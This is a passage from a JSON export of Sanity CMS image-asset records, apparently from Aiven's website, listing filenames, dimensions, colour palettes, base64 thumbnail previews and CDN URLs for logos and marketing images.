{"_createdAt":"2023-09-15T11:42:40Z","_id":"image-b8f71ddd6352731859409127d4e23b4b7cd00a1b-1567x844-png","_rev":"E3l20vRSvwhCawbkeOcZq2","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:42:40Z","assetId":"b8f71ddd6352731859409127d4e23b4b7cd00a1b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6kiFxoRMf5a$?docRiWYWXoHjwjZogad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaElEQVQokSWQ6U4aUQBG5wUqM8Pc2e+dHbBk1Ba1gqKOlbJUESgKKMgusqngggYb11KtiRFj0qRP21aT8/fkO/kwIKZ4dUvQcryaF7SyaNRkV0tzd3TzRDVPNfPcGL80xq/18XPV3eW1BgVrBF/AmbSNSWKKq+DxtWeXjryLx97Fns/qzy1fLAZvrfDdXOCn/8vD0tfh59WXpa+Pc8tXox8OkKMNHXu8ugPgNuYwKwuB45XE5UriOhK/jcQHwegguHYf3XhaSQ7D8efVjd/R1J9wYmiFbrzWuT8wWAg9TM1fOydO3+STcOwiEr+KxG9Ca7fB6CAU+xVLD2Ppl1Ds2Yo8+ZYfJ/235vTZR9/3hdCjFXn6ZN2bM/cYNHLmZN3j3ff4OpOzR57Z3vR8f8a69Ad++IN3M9ade+pGcV+Izh6ntXmthVxd5DqAzkPk6mMEl6SEDQA3GZRj5CKrVHm9IRp7yNmVRk+k92fQ2ef0M1rpvF6Vx/kczmVJoQikBvYOJF5J2pgUzmUJoWCHVQrVaalFy/uMesjpPV4/ZZR9u1gm+Cwp5N8AaBezMQmc+Yaz6wSXIfkcKRYpVAVSnZZbtNyg5SajHrBql5abpJAnuC0K7gCpbhdLdrGMsVxcRuuynhO0AoB5UihSsApQHUgNO6yQ/0PKAO1SsEpwWZzLAFQDUp0UtnE2jakoMWakxyaqhlnjlBJAJVraYeQmo7QAqpBC1i7mAKpQsISzGZxNvW4WbWxqhE5gSEmr+qbmKsjOsqhXBKMGHU3k3JNcHeho81qF1yqC3qClMs6mbMw6wW3hXGaESf6T/wLsJ6EomactugAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35326a","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1d4e8","foreground":"#000","population":6.33,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1d4e8","foreground":"#000","population":6.33,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#959ce4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656c93","foreground":"#fff","population":1.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252f91","foreground":"#fff","population":2.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"movie_recommender_devcenter.png","path":"images/sczeoy4w/production/b8f71ddd6352731859409127d4e23b4b7cd00a1b-1567x844.png","sha1hash":"b8f71ddd6352731859409127d4e23b4b7cd00a1b","size":132104,"uploadId":"cJveoPMJ8LmKk3GszvM4jbU6QmYurhl5","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8f71ddd6352731859409127d4e23b4b7cd00a1b-1567x844.png"} {"_createdAt":"2023-02-02T13:10:00Z","_id":"image-b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499-png","_rev":"qBG5W2UzMHRLoCg3n3ruKB","_type":"sanity.imageAsset","_updatedAt":"2023-02-06T11:44:34Z","altText":null,"assetId":"b91f9218e178e023d9852193bd5bd8e3c7fb7857","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SF^c9G$_E29F.ixZ$%r?nk?hxa4q%1-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.284569138276553,"height":499,"width":1140},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSElEQVQokW2O3W7bMAxG/f6PtRW72W2LNmiArR2cWLasf5EiKdmDnATFgBHngvqEQ3IIq/JGWT/rtGjQjlyQ4Nl7CaE+kGCL1aANmsD3MNY4WGd8dLkkFMCKWLHUAnI0DakVaoQVI0aXXMR45KUc+aDUYqzFUkSqSGXudgZOgAlyAsBCSAKFkYirtK1te2tbZxgv6jrPPiVELkUAZDXycclvn+b51/z8e3n9405jPk9wtQRct33b961X24Zp1pd5WUPMQIgMKMbJecw/z/bppL+96u9v5unkfrz7lzE5kMM73NaGRVulrQ0AwIhMJMQ1ouhIytPkaXJ0db0xiUna/tjc5eu0jEprd99MJK21/nm77d+6mV+yWtZxmVcf4CYXriy1tv9yn9vNrdY2+JCtjzEhYj+75FISYEaA8gBzf/aEiJmbSIe5/gUvsAU3gtzqFgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6a69","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#165596","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1064c0","foreground":"#fff","population":1.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b6c3","foreground":"#000","population":0.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60a4ed","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7e74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1064c0","foreground":"#fff","population":1.45,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499.png","path":"images/sczeoy4w/production/b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499.png","sha1hash":"b91f9218e178e023d9852193bd5bd8e3c7fb7857","size":64845,"title":"The newly introduced concept of ‘applications’ in Aiven for Apache Flink.","uploadId":"x0J2kAitVHKzoxvI0QNFx6ruuOI2fzH3","url":"https://cdn.sanity.io/images/sczeoy4w/production/b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499.png"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-b946cac1cee9120b6ed9826c305ca0fc12e17762-250x176-jpg","_rev":"oamrAPLmQLQjd9jh7ZoGok","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"b946cac1cee9120b6ed9826c305ca0fc12e17762","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfQmCrWB%Mt7%MM{j[ofayj[~qt7IUj[M{?bWBWBofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4204545454545454,"height":176,"width":250},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHAQT/xAAjEAABBAIABgMAAAAAAAAAAAABAgMEBQARBgciMUFREyFh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ALDecb2cG4lRGY8Yttr0lbhKQB+4vb5iW6yEiNBJJ0D8nfKHZ0MGylsvymgst76fCt+/earh+pUEgwI+k9ugfWBz0My3lV6XbGI2y+SelKtjXg4Y7QhLaEoQAEpGgB4wwP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":5.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434143","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":5.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbabc","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#858485","foreground":"#fff","population":1.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#817d81","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-superhero-capital.jpeg","path":"images/sczeoy4w/production/b946cac1cee9120b6ed9826c305ca0fc12e17762-250x176.jpg","sha1hash":"b946cac1cee9120b6ed9826c305ca0fc12e17762","size":5911,"uploadId":"Rtu5SoGXOZZXU8arNkp4j4vfFDrdq7RP","url":"https://cdn.sanity.io/images/sczeoy4w/production/b946cac1cee9120b6ed9826c305ca0fc12e17762-250x176.jpg"} {"_createdAt":"2024-05-06T11:38:53Z","_id":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_rev":"BBilaBRu5SWkONsyWkXAh2","_type":"sanity.imageAsset","_updatedAt":"2024-05-06T11:38:53Z","assetId":"b9548cd138f54438c8efd8d6a8d54e58860f1970","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DK6,vnp3o*kZfRo*j]fRawax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7925925925925927,"height":270,"width":1024},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+0lEQVQYlUWQTyuFcRCFfQHi5vrbZaWbNV/g+RCW7GSBQsJNdIaFkrVYKFESi1uXhYVYKfGd5uh337cspp45TWfOzADyEvId8idyl/Ah8iLhFuEZwpM1zxGeJ3IWuYE8TbhNZLvS3UZuDSBfI38gv6G8Qj5DPkEWyiPkLeT9qu/XAfIq8h7KC+Rzwse13imGPyh/kV+RT5ED+Qm5h/xQc7fivEF+rPXnOsg78j3yJfJtMfxC/kZ+qdLlBvI28jryyn/CXKv7HZS7yJuo/x4R/QvK/HIxLGeWLT3CHcILhJuERwgPER4lcpzIBuFhwoWbqHCOEZ6qfpwTyIN/Mm3ZE2KrxBgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09267f","foreground":"#fff","population":0.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4080f9","foreground":"#fff","population":20.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#043694","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4080f9","foreground":"#fff","population":20.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#52699d","foreground":"#fff","population":1.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b7ff6","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-conrad.svg","path":"images/sczeoy4w/production/b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270.svg","sha1hash":"b9548cd138f54438c8efd8d6a8d54e58860f1970","size":1878,"uploadId":"fFuEClSh6MuCC4Kf6F0kyHOhWM4xz8sk","url":"https://cdn.sanity.io/images/sczeoy4w/production/b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270.svg"} {"_createdAt":"2024-06-10T17:43:21Z","_id":"image-b9584b77cf5f05e906f24b50e6f2420c2ec60779-812x599-webp","_rev":"rE19qWqXtwbnyVyXl62g4K","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T17:43:21Z","assetId":"b9584b77cf5f05e906f24b50e6f2420c2ec60779","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTIEhN~qWAV@kCIUtRozofM{4nIUofRiayxua#V@RkkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.35559265442404,"height":599,"width":812},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwAFBv/EACEQAAIBBAICAwAAAAAAAAAAAAECAwAEBREGIRQxEhOR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQIREhP/2gAMAwEAAhEDEQA/AOyueJ2mNjm8THNGJtK0it2KNclwqKHJX0DiWWcqZg3x1pdbpIXlF3PfSPMT9T9lfY/Kw+V8guZ7rzIAkS6CMAOyoqZ5krKo6i6A+RTG7I6spB9EVUt2mJhzUC3ot4iH3osO+qqLixu6P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c29","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c2b14","foreground":"#fff","population":7.77,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#89776a","foreground":"#fff","population":8.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b8cc","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4a1","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#89776a","foreground":"#fff","population":8.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c97235","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Hudson_Yards_Event.webp","path":"images/sczeoy4w/production/b9584b77cf5f05e906f24b50e6f2420c2ec60779-812x599.webp","sha1hash":"b9584b77cf5f05e906f24b50e6f2420c2ec60779","size":24240,"uploadId":"xner37FhixF0J17gGnxb9uPJiU5clkqu","url":"https://cdn.sanity.io/images/sczeoy4w/production/b9584b77cf5f05e906f24b50e6f2420c2ec60779-812x599.webp"} {"_createdAt":"2023-06-28T09:48:41Z","_id":"image-b9aa633b47bd4f32828129dd4a13d58f1bd26091-592x592-tif","_rev":"UMQlcq9IaEdUdTmmR5EADX","_type":"sanity.imageAsset","_updatedAt":"2023-06-28T09:48:41Z","assetId":"b9aa633b47bd4f32828129dd4a13d58f1bd26091","extension":"tif","metadata":{"_type":"sanity.imageMetadata","blurHash":"euR{YwbI%jt6xuoftSj[ROaz%joeRNR+RjflROayxuoct8WDV@ocfm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":592,"width":592},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAIDBQcI/8QAIhAAAgICAQQDAQAAAAAAAAAAAQMAAgQFEQYSIUEHIjJR/8QAGQEAAgMBAAAAAAAAAAAAAAAAAQYAAwQF/8QAIhEAAQMDBAMBAAAAAAAAAAAAAQACEQMEEgUhMVEUYXHw/9oADAMBAAIRAxEAPwD1Hl5K8VFmusBUTn+1652SNgVYmuDEerzI+bNlt8TYaxWuY9eLYEtslfee70OJp9Na7I2a0FgNfqCyxHHmJes6pe+U23tOyIHM++h+K6FvRp4Fz10LAfbIwkuuALXqLECJZjqqhNFV/NBwIjhSDgxofzAn6sDonZQfiY+RYWcql7DxyRJoQtFe1NK0r/AIiAUqYfmGie43UyMRKsiIlqC//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d1838","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dccb06","foreground":"#000","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eccc04","foreground":"#000","population":19.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbc94","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efea58","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eccc04","foreground":"#000","population":19.04,"title":"#fff"}}},"mimeType":"image/tiff","originalFilename":"Chemovator_C-Fläche_cmyk_auf-weiss_mit-Claim.tif","path":"images/sczeoy4w/production/b9aa633b47bd4f32828129dd4a13d58f1bd26091-592x592.tif","sha1hash":"b9aa633b47bd4f32828129dd4a13d58f1bd26091","size":2146244,"uploadId":"FmiNJz4mkZAFpBiT6AfPJ4jgLTuWjWW1","url":"https://cdn.sanity.io/images/sczeoy4w/production/b9aa633b47bd4f32828129dd4a13d58f1bd26091-592x592.tif"} {"_createdAt":"2023-06-08T08:08:50Z","_id":"image-ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIya0utR","_type":"sanity.imageAsset","_updatedAt":"2023-06-08T08:08:50Z","assetId":"ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOHC1Fn$kCW=bI~qRPjEn~WB?vozWXWVof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYBAwX/xAAgEAACAQQDAAMAAAAAAAAAAAABAgMABAURBhMhEjFR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGREAAwEBAQAAAAAAAAAAAAAAAAERAhIh/9oADAMBAAIRAxEAPwDRXkGQWZmjuZW80B8vN1ZHyTKdu57maNB4dmpyFlbRh3SJVbf2KTsnNIkahXIBkINYKrUo+PPUHW75Tdd56p5yn7RS5jiXtELemilaZPNP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45432c","foreground":"#fff","population":4.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#534a31","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#45432c","foreground":"#fff","population":4.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec6ad","foreground":"#000","population":1.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cdc5ab","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47c5d","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f905f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"govUK-customer-img.jpg","path":"images/sczeoy4w/production/ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b-1920x1037.jpg","sha1hash":"ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b","size":2140542,"uploadId":"pCLIzYsKnOpmBdzNxx9FM8JUWyR31WkE","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba1b70ab116adba5c833a1d2ef2eb2a4f2fd555b-1920x1037.jpg"} {"_createdAt":"2023-05-30T07:03:02Z","_id":"image-ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793-png","_rev":"Bg5HPBiLdZofLBzDEapoIa","_type":"sanity.imageAsset","_updatedAt":"2023-05-30T07:03:02Z","assetId":"ba274c2e87b0162561467501b9e271bd96a2cb25","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6Q]{I?boy?b%L_4t7ofj?%L~ofmV@o#M|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.421185372005044,"height":793,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRElEQVQokZVRSZLCMAzM/583xYGhipDNa+JsTuwEAj0lGbjPQSXZLXW35WzwT7jp4OjGB6SNKJoZeTUhrydU0sO4/Yu3wx3SBpRixq1OPZQbvTKW9fOTC9vvnI27Q9gNjY4QJkJ3O2x/h+lTj3UbCwizoRQrCrGiVoH7SJAJVRtRyRnSLFDkUERc64BCBMborpQBjVqg7QzdBtyagNNlwM+5x6XwkC0RHolQmBV51aNR03c4r1fOmghJUAUIvcC0HqYjAxHn64TTr8PlNkHaHd3EhAekXVGKAapNe5BtQK0X3pXuiDBwTZme7MYHu9H89JUxmqM9s0PjtjcZLf/BNbmVxkPaBcJ4DhKmPbr5AH0mmelG2ntkDqozAtKnpItPE5HTfYpUf/DeP9+ENLuj0TMHiWXj8mJw8EmVzv8JEkgOI7/uD8mhXtRQ999lAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c414e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#613923","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6acc8","foreground":"#000","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6acc8","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dec2a6","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7474a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc9474","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png","path":"images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png","sha1hash":"ba274c2e87b0162561467501b9e271bd96a2cb25","size":74598,"uploadId":"TW9feq1qJBrbJtd9DLdMcW2HvbjvxesG","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png"} {"_createdAt":"2023-12-27T10:19:23Z","_id":"image-ba6cd5a3383d85f649a5dbd12d06f45064076e99-2497x2010-jpg","_rev":"7oPGYyiRG7hm5kP9hqeIkg","_type":"sanity.imageAsset","_updatedAt":"2023-12-27T10:19:23Z","assetId":"ba6cd5a3383d85f649a5dbd12d06f45064076e99","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2422885572139304,"height":2010,"width":2497},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQDBf/EAB8QAAICAQQDAAAAAAAAAAAAAAABAgMxBAUREhMhQf/EABYBAQEBAAAAAAAAAAAAAAAAAAcBBf/EABsRAAMAAwEBAAAAAAAAAAAAAAECAwAEESEx/9oADAMBAAIRAxEAPwBVkv0rXkjFvhv0QVZLtP1U4ya5awGMbtrVWyfVPcX9uS2m02+Ecztra5PNiQMnuFj+IFttTtRqMPSe5lzhWaBAfBn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":25.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa5a4","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcae6c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47c89","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":25.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-orange-right-pattern-aiven-live.jpg","path":"images/sczeoy4w/production/ba6cd5a3383d85f649a5dbd12d06f45064076e99-2497x2010.jpg","sha1hash":"ba6cd5a3383d85f649a5dbd12d06f45064076e99","size":141251,"uploadId":"293hroyLVO2BfGKC5cHmqiq0H9alNmfQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba6cd5a3383d85f649a5dbd12d06f45064076e99-2497x2010.jpg"} {"_createdAt":"2024-01-08T17:26:11Z","_id":"image-ba85544cbc04ffb2a664361f9b81a994bc9a2941-860x860-jpg","_rev":"cYm7NAkc6EQoa8jfAFqA7p","_type":"sanity.imageAsset","_updatedAt":"2024-01-08T17:26:11Z","assetId":"ba85544cbc04ffb2a664361f9b81a994bc9a2941","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e-OpV=xu?^ofsm-;M{ofkCR*I:ofVss:ay%gayoKWBRjayayRjofbI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAME/8QAJRAAAQQCAAYCAwAAAAAAAAAAAgEDBAUABgcREyFRYRIxIkJD/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwQC/8QAGxEAAwEBAAMAAAAAAAAAAAAAAAECAzEjMoH/2gAMAwEAAhEDEQA/ALx4r2trXU8dumcGO5Jd6ZSC/mnnIHqmwX9FtFfDsrdbOJLP4GJp3BV+lRcsjiXCSXrpGraOIwSOKK+Mp+BYQAvq5JrrAD1hXqD+qe8DSqVpLhbjnnWTddNGYzmy6260JtGJgqdiFeaLjHIjMHGLc7x7ZZtWk0moTbnwRtr8eae/OQPcnzYMIjPIGUAT7J3Vfa4xma95Gh+Kvh5YG4bBAjCxEtZTbQ/Qoa9sYxjE5//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543731","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69442c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b07c6d","foreground":"#fff","population":2.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda29e","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a190","foreground":"#000","population":1.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07c6d","foreground":"#fff",